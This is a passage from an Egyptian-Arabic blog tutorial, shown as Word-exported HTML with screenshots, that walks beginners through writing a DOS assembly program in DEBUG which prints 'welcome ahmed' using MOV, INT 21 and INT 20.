بدأت عشان نقدر نفهم بعد كده اساسيات اي لغة برمجه حتي ولو لم تكن </span><span dir="LTR" style="color: grey;">C </span><span dir="RTL"></span><span lang="AR-EG" style="color: grey;"><span dir="RTL"></span> . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: grey;">عايزين بقي
نرجع بالزمن ورا شويه ونحاول نكتب برنامج بلغة الاسمبلي – اللي احنا المفروض اخدناه
في مادة الميكروبروسيسور ومدخلناش المعمل فيها ولا يوم </span><span dir="LTR"></span><span dir="LTR" style="color: grey; font-family: Wingdings;"><span dir="LTR"></span>J</span><span dir="LTR" style="color: grey;"> </span><span dir="RTL"></span><span style="color: grey;"><span dir="RTL"></span> </span><span dir="LTR"></span><span dir="LTR" style="color: grey;"><span dir="LTR"></span>-</span><span dir="RTL"></span><span lang="AR-EG" style="color: grey;"><span dir="RTL"></span> ونشوف زمان قد ايه الناس دي كانت بتتعب عشان تكتب برنامج . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">اول حاجه
نفتح شاشة الدوس من خلال الضغط علي </span><span dir="LTR" style="color: #cc99ff;">Start > CMD </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> هتفتح معانا النافذه دي : </span><span dir="LTR" style="color: #cc99ff;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-0fgO6AQQHZw/T9zfgBnU04I/AAAAAAAAANU/oIqzghkEV2o/s1600/DOS.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="180" src="http://2.bp.blogspot.com/-0fgO6AQQHZw/T9zfgBnU04I/AAAAAAAAANU/oIqzghkEV2o/s320/DOS.png" width="320" /></a></div>
<span style="color: #cc99ff;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">هنكتب كلمة
</span><span dir="LTR" style="color: #cc99ff;">Debug </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> وندوس انتر هنلاحظ وجود
سطر جديد وجنبه شرطه كده . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-Y7QY8aeLxLw/T9zfz850bwI/AAAAAAAAAO8/54o3lNgCpvw/s1600/debug.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="180" src="http://4.bp.blogspot.com/-Y7QY8aeLxLw/T9zfz850bwI/AAAAAAAAAO8/54o3lNgCpvw/s320/debug.png" width="320" /></a></div>
<span style="color: #cc99ff;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">دلوقتي
هنكتب اول </span><span dir="LTR" style="color: #cc99ff;">instruction
</span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> الا وهي <o:p></o:p></span></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="LTR">
<span style="color: #cc99ff;">A
100 - <span dir="RTL"></span><span dir="RTL" lang="AR-EG"><span dir="RTL"></span> دي عشان نبتدي نكتب من موقع ذاكره محدد يعني
احنا دلوقتي هنبتدي نكتب من اول 100 <o:p></o:p></span></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">بعد ما
هندوس انتر هنلاحظ انه بدأ يحدد الموقع اللي هنكتب من عنده .<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-Ve_dyYoHF2Q/T9zfp8U0rYI/AAAAAAAAAOM/j2FASAPj06o/s1600/a-100.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="166" src="http://4.bp.blogspot.com/-Ve_dyYoHF2Q/T9zfp8U0rYI/AAAAAAAAAOM/j2FASAPj06o/s320/a-100.PNG" width="320" /></a></div>
<span style="color: #cc99ff;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">هنبتدي
نكتب البرنامج بتاعنا كل اللي هنعمله اننا هنكتب برنامج مجرد بيطبع جمله احنا
عايزينها . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">التعليمه
الجايه اللي هنكتبها هي : <o:p></o:p></span></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="LTR">
<span style="color: #cc99ff;">Jmp
1234<o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">ودي عشان
نتاكد ان الذاكره فارغه فاحنا بنفرغ حوالي 4 بايتات كمان . </span><span dir="LTR" style="color: #cc99ff;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-itHjt9Btels/T9zf89qOiXI/AAAAAAAAAPk/dv-QZHfoIQE/s1600/jmp.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="165" src="http://1.bp.blogspot.com/-itHjt9Btels/T9zf89qOiXI/AAAAAAAAAPk/dv-QZHfoIQE/s320/jmp.PNG" width="320" /></a></div>
<span style="color: #cc99ff;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> لو لاحظنا
هنلاقيه انه قفز حوال 4 بايتات من العنوان 0100 الي 0103 . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">بعد كده
يجي دور الجمله اللي احنا عايزين نسجلها انا مثلا هكتب "</span><span dir="LTR"></span><span dir="LTR" style="color: #cc99ff;"><span dir="LTR"></span>”Welcome ahmed<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">هنفذ
التعليمه التاليه عشان نخزن الجمله بتاعتنا :<o:p></o:p></span></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span dir="LTR" style="color: #cc99ff;">Db
“welcome ahmed$”<o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">ولازم
نكتب في الاخر علامة </span><span dir="LTR"></span><span dir="LTR" style="color: #cc99ff;"><span dir="LTR"></span>$ </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> عشان نأكد للبرنامج ان دي نهاية الجملة . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-7xL_fkbEdqA/T9zfxJ_z9vI/AAAAAAAAAO0/hn_H_tBHiTc/s1600/db.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="164" src="http://4.bp.blogspot.com/-7xL_fkbEdqA/T9zfxJ_z9vI/AAAAAAAAAO0/hn_H_tBHiTc/s320/db.PNG" width="320" /></a></div>
<span style="color: #cc99ff;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">تمام ...
هنلاحظ اننا بقينا في المكان 0111 اي ان الجمله اخدت حيز من البايتات . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">طيب
دلوقتي عايزين نسجل الجمله دي في </span><span dir="LTR" style="color: #cc99ff;">Register </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> عشان احنا كل اللي عملناه
اننا قلنا للبرنامج فيه جمله دخلالك بس لكن لحد دلوقتي فهي مش متسجله عشان يتم
استدعائها مره اخره .<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">هنستخدم التعليمه
</span><span dir="LTR" style="color: #cc99ff;">MOV </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> واعتقد دي اخدناها برده في
مادة الميكروبروسيسور </span><span dir="LTR"></span><span dir="LTR" style="color: #cc99ff; font-family: Wingdings;"><span dir="LTR"></span>J</span><span dir="LTR" style="color: #cc99ff;"> </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> وهنسجل الجمله دي في المسجل </span><span dir="LTR" style="color: #cc99ff;">dx</span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span>
.<o:p></o:p></span></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span dir="LTR" style="color: #cc99ff;">Mov
dx,0103<o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; text-indent: -0.25in; unicode-bidi: embed;">
<span style="color: #cc99ff;">-<span style="font-size: 7pt;">
</span></span><span dir="RTL"><span lang="AR-EG" style="color: #cc99ff;">احنا عارفين ان تعليمة </span></span><span dir="LTR" style="color: #cc99ff;">Mov destination,source </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> اي انه يستخدم للنقل
فالامر ياتي ومن ثم المكان الذي ينقل اليه ومن ثم الشئ الذي نريد نقله<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; text-indent: -0.25in; unicode-bidi: embed;">
<span style="color: #cc99ff;">-<span style="font-size: 7pt;">
</span></span><span dir="RTL"><span lang="AR-EG" style="color: #cc99ff;">مثال : </span></span><span dir="LTR" style="color: #cc99ff;">Mov ax,3</span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span>
معناها اننا عايزين نسجل الرقم </span><span dir="LTR"></span><span dir="LTR" style="color: #cc99ff;"><span dir="LTR"></span>3 </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> في المسجل </span><span dir="LTR" style="color: #cc99ff;">ax </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> . </span><span dir="LTR" style="color: #cc99ff;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; text-indent: -0.25in; unicode-bidi: embed;">
<span style="color: #cc99ff;">-<span style="font-size: 7pt;">
</span></span><span dir="RTL"><span lang="AR-EG" style="color: #cc99ff;">احنا هنا كتبنا </span></span><span dir="LTR" style="color: #cc99ff;">Mov dx,0103 </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> يعني يسجل الامر اللي محطوط في الاوفست
0103 في المسجل </span><span dir="LTR" style="color: #cc99ff;">dx <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; text-indent: -0.25in; unicode-bidi: embed;">
<span style="color: #cc99ff;">-<span style="font-size: 7pt;">
</span></span><span dir="RTL"><span lang="AR-EG" style="color: #cc99ff;">ومش هسجله في </span></span><span dir="LTR" style="color: #cc99ff;">ax </span><span lang="AR-EG" style="color: #cc99ff;">عشان هستخدمه في حاجه تانيه بعد
كده . </span><span dir="LTR" style="color: #cc99ff;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-1NVB_la8muA/T9zgALlA2sI/AAAAAAAAAP0/H90QcpLG6TU/s1600/mov-dx.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="163" src="http://2.bp.blogspot.com/-1NVB_la8muA/T9zgALlA2sI/AAAAAAAAAP0/H90QcpLG6TU/s320/mov-dx.PNG" width="320" /></a></div>
<span style="color: #cc99ff;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">طيب جه
بقي وقت اننا نعرف ايه الطريقه اللي احنا بنستخدمها دي . دي طريقها اسمها </span><span dir="LTR" style="color: #cc99ff;">interrupt 21 </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> عملية المقاطعه رقم
21 ودي معناها انه بيستحضر ما بداخل
المسجل </span><span dir="LTR" style="color: #cc99ff;">ax </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> .<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; text-indent: -0.25in; unicode-bidi: embed;">
<span style="color: #cc99ff;">-<span style="font-size: 7pt;">
</span></span><span dir="RTL"><span lang="AR-EG" style="color: #cc99ff;">يعني دلوقتي لو انا ادخلت امر طباعه في المسجل </span></span><span dir="LTR" style="color: #cc99ff;">ax </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> وعملت </span><span dir="LTR" style="color: #cc99ff;">int 21 </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> هيطبع من داخل </span><span dir="LTR" style="color: #cc99ff;">ax<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; text-indent: -0.25in; unicode-bidi: embed;">
<span style="color: #cc99ff;">-<span style="font-size: 7pt;">
</span></span><span dir="RTL"><span lang="AR-EG" style="color: #cc99ff;">لو ادخلت امر اضافه او اي عمليه حسابيه هيقرا
برده مابداخل </span></span><span dir="LTR" style="color: #cc99ff;">ax <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; text-indent: -0.25in; unicode-bidi: embed;">
<span style="color: #cc99ff;">-<span style="font-size: 7pt;">
</span></span><span dir="RTL"><span lang="AR-EG" style="color: #cc99ff;">وكل عمليه وليها رقمها </span></span><span dir="LTR" style="color: #cc99ff;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 0.5in; text-indent: -0.25in; unicode-bidi: embed;">
<span style="color: #cc99ff;">-<span style="font-size: 7pt;">
</span></span><span dir="RTL"><span lang="AR-EG" style="color: #cc99ff;">رقم عملية الطباعه هو 0900</span></span><span dir="LTR" style="color: #cc99ff;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-GWy00cI-QFk/T9zf-7AbTyI/AAAAAAAAAPs/Ke9nmacBxyY/s1600/mov-ax.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="165" src="http://1.bp.blogspot.com/-GWy00cI-QFk/T9zf-7AbTyI/AAAAAAAAAPs/Ke9nmacBxyY/s320/mov-ax.PNG" width="320" /></a></div>
<span style="color: #cc99ff;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">طيب
دلوقتي برده البرنامج مش هيعمل حاجه لسه لان زي ماقلنا ان المسجلات ماهي الا اوعية
تخزينيه فقط يعني انا حطيت امر الطباعه جوه المسجل </span><span dir="LTR" style="color: #cc99ff;">ax </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> وخلاص ولكن معملتلوش استدعاء وبالتالي لازم
اعمله استدعاء عشان يشتغل<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">فهكتب
الامر اللي بعدها وهو </span><span dir="LTR" style="color: #cc99ff;"><o:p></o:p></span></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="LTR">
<span style="color: #cc99ff;">Int
21<span dir="RTL" lang="AR-EG"><o:p></o:p></span></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">البرنامج
بالتاي هيقوم بعملية مقاطعه وتحميل مابداخل مسجل الـ </span><span dir="LTR" style="color: #cc99ff;">ax </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">طيب
دلوقتي كده البرنامج هيشتغل تمام فاضل اننا نخرج من البرنامج بعد ما ينفذ الاوامر
فهنستخدم عملية </span><span dir="LTR" style="color: #cc99ff;">interrupt 20 </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> ودي معناها الخروج لنظام التشغيل . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-jVYffUM6FoI/T9zf5nfOWEI/AAAAAAAAAPU/ZK-Knb9g6Zc/s1600/int20.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="166" src="http://3.bp.blogspot.com/-jVYffUM6FoI/T9zf5nfOWEI/AAAAAAAAAPU/ZK-Knb9g6Zc/s320/int20.PNG" width="320" /></a></div>
<span style="color: #cc99ff;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">طيب
دلوقتي هندوس انتر مره تانيه عشان نلاحظ وجود علامة الـ - </span><span dir="LTR"></span><span dir="LTR" lang="AR-EG" style="color: #cc99ff;"><span dir="LTR"></span> </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> اللي كانت موجوده . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-jwYCrUipU6s/T9zgFzGBbAI/AAAAAAAAAQU/CTmvRabDVcU/s1600/out.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="168" src="http://1.bp.blogspot.com/-jwYCrUipU6s/T9zgFzGBbAI/AAAAAAAAAQU/CTmvRabDVcU/s320/out.PNG" width="320" /></a></div>
<span style="color: #cc99ff;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">طبعا احنا
عارفين ان كل اللي احنا بنكتبه دا مازال </span><span dir="LTR" style="color: #cc99ff;">source code </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> عايزين نحوله لحاجه الجهاز يقدر يفهمها ويقراها
عشان ينفذ اللي طلبناه منه . وبالتالي محتاجين نحدد للجهاز حجم الكود اللي كتبناه
عشان يعرف هوا يبتدي ينفذ الاوامر من اول فين لحد فين . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-ih5mMGUT1GU/T9zgEVlAJ5I/AAAAAAAAAQM/ME2ru_3jQw0/s1600/offset.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="167" src="http://2.bp.blogspot.com/-ih5mMGUT1GU/T9zgEVlAJ5I/AAAAAAAAAQM/ME2ru_3jQw0/s320/offset.PNG" width="320" /></a></div>
<span style="color: #cc99ff;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">طيب احنا
ليه استخدمنا الامر </span><span dir="LTR" style="color: #cc99ff;">jmp 1234 </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> في الاول ؟؟ عشان نقدر بعد كده نستدعي المسجل </span><span dir="LTR" style="color: #cc99ff;">dx </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> من بداية البرنامج<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">هنشوف
دلوقتي <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">هنكتب
تاني </span><span dir="LTR" style="color: #cc99ff;">a 100 </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> عشان نبتدي من اول الـ 100
</span><span dir="LTR"></span><span dir="LTR" lang="AR-EG" style="color: #cc99ff;"><span dir="LTR"></span> </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> اللي كتبنا عليها بس المره دي هنكتب فيها </span><span dir="LTR" style="color: #cc99ff;">jmp 0111 </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> ودا رقم الاوفست اللي
مستجل فيه كلمة </span><span dir="LTR" style="color: #cc99ff;">welcome ahmed </span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> جوه ريجستر </span><span dir="LTR"></span><span dir="LTR" style="color: #cc99ff;"><span dir="LTR"></span>.dx<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-4CzQQ63I-JU/T9zf7L9yjDI/AAAAAAAAAPc/jkn22so4g_g/s1600/jmp-0111.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="166" src="http://4.bp.blogspot.com/-4CzQQ63I-JU/T9zf7L9yjDI/AAAAAAAAAPc/jkn22so4g_g/s320/jmp-0111.PNG" width="320" /></a></div>
<span style="color: #cc99ff;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="color: #cc99ff;">زي ما
شايفين ان البرنامج بادئ من اول 0100 زي ماحددنا في الاول لغاية </span><span dir="LTR"></span><span dir="LTR" style="color: #cc99ff;"><span dir="LTR"></span>011B</span><span dir="RTL"></span><span lang="AR-EG" style="color: #cc99ff;"><span dir="RTL"></span> عايزين نحدد
مساحة الملف دا عشان يبتدي يطبعهم . من خلال الامر –</span><span dir="LTR" style="color: #cc99ff;">h<o:p></o:p></span></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590"><div class="MsoNormal" dir="LTR">
<span style="color: #cc99ff;">-h
end start<span dir="RTL"></span><span dir="RTL" lang="AR-EG"><span dir="RTL"></span> يعني النهايه وبعد كده البدايه <o:p></o:p></span></span></div>
<div class="MsoNormal" dir="LTR">
<span dir="LTR"></span><span style="color: #cc99ff;"><span dir="LTR"></span>-h 011B 0100 <span dir="RTL"></span><span dir="RTL" lang="AR-EG"><span dir="RTL"></span> عشان يطبعلنا حجم البايتات
بالظبط اللي هنعملها ترجمه </span><o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
</div>
